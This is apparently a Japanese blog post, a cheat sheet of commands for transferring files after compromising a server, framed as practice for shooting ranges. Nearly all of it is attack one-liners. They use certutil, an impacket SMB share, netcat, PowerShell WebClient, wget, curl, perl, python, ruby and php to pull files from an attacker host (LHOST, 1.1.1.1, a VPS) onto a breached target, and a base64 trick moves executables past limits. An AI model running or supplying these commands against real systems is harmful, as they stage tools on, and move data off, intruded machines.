banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

後の侵入におけるファイルの転送とダウンロード

サーバーを取得した後、ツールをアップロードするか、サーバーからファイルをダウンロードする必要があります。さまざまなシーン(ネットワーク環境)に応じて、異なるファイルダウンロードツールが必要になる場合があります。通常、射撃場でも使用できますので、ここでは簡単に記録します。

  • windows
certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>

image

  • impacket

impacket-smbserverツールを使用して SMB サーバーを作成します。

sudo impacket-smbserver <SHARE> ./

デフォルトでは SMB1 プロトコルでエラーが発生します。

image

sudo impacket-smbserver <SHARE> . -smb2support

-smb2supportオプションは SMB2 プロトコルのサポートを有効にし、SMB2 プロトコルを使用するクライアントが共有に接続できることを意味します。

SMB2 はセキュリティポリシーによってアクセスがブロックされます。

image

パスワードを設定する必要があります。

sudo impacket-smbserver SHARE ./ -smb2support -username lca -password abc+123

image

  • python
python -m http.server <port>
  • nc

VPS 上で

cat user.txt | nc -l 1234
nc -l 1234 < user.txt

ターゲットマシンで:

nc <vps_ip> 1234 > user.txt

注:接続が確立された後、テストした結果、VPS 上で Ctrl+C を押す必要があります。そうしないと、ターゲットマシンはデータを完全に受信できず、動作が停止します。

  • powershell
$p = New-Object System.Net.WebClient;$p.DownloadFile("http://1.1.1.1:8000/user.txt","C:\Users\lca\Desktop\user.txt");

image

  • wget
wget http://1.1.1.1/user.txt -O C:\Users\lca\Desktop\user.txt
  • curl
curl http://1.1.1.1:8000/user.txt -o C:\Users\lca\Desktop\user.txt
  • perl
perl -e "use LWP::Simple; getstore('http://1.1.1.1/user.txt', '/tmp/user.txt');"

image

  • python
python -c "import urllib.request;urllib.request.urlretrieve('http://1.1.1.1/user.txt', '/tmp/user.txt')"

image

  • ruby
ruby -ropen-uri -e "open('/tmp/user3.txt', 'wb') { |file| file << URI.open('http://1.1.1.1:8000/user.txt').read }"

image

  • php
php -r "file_put_contents('/tmp/user4.txt', file_get_contents('http://1.1.1.1:8000/user.txt'));"

image

注:場合によっては、exe、jar などのファイルをダウンロードする場合、まず base64 形式に変換してから転送し、転送が完了したら base64 エンコードされた内容を元に戻すことができます。サイズ制限がある場合は、ブロックごとに転送することもできます。

#エンコード
base64 -i xxx.jar > out.txt

#復元
base64 --decode -i out.txt -o 1.jar
読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。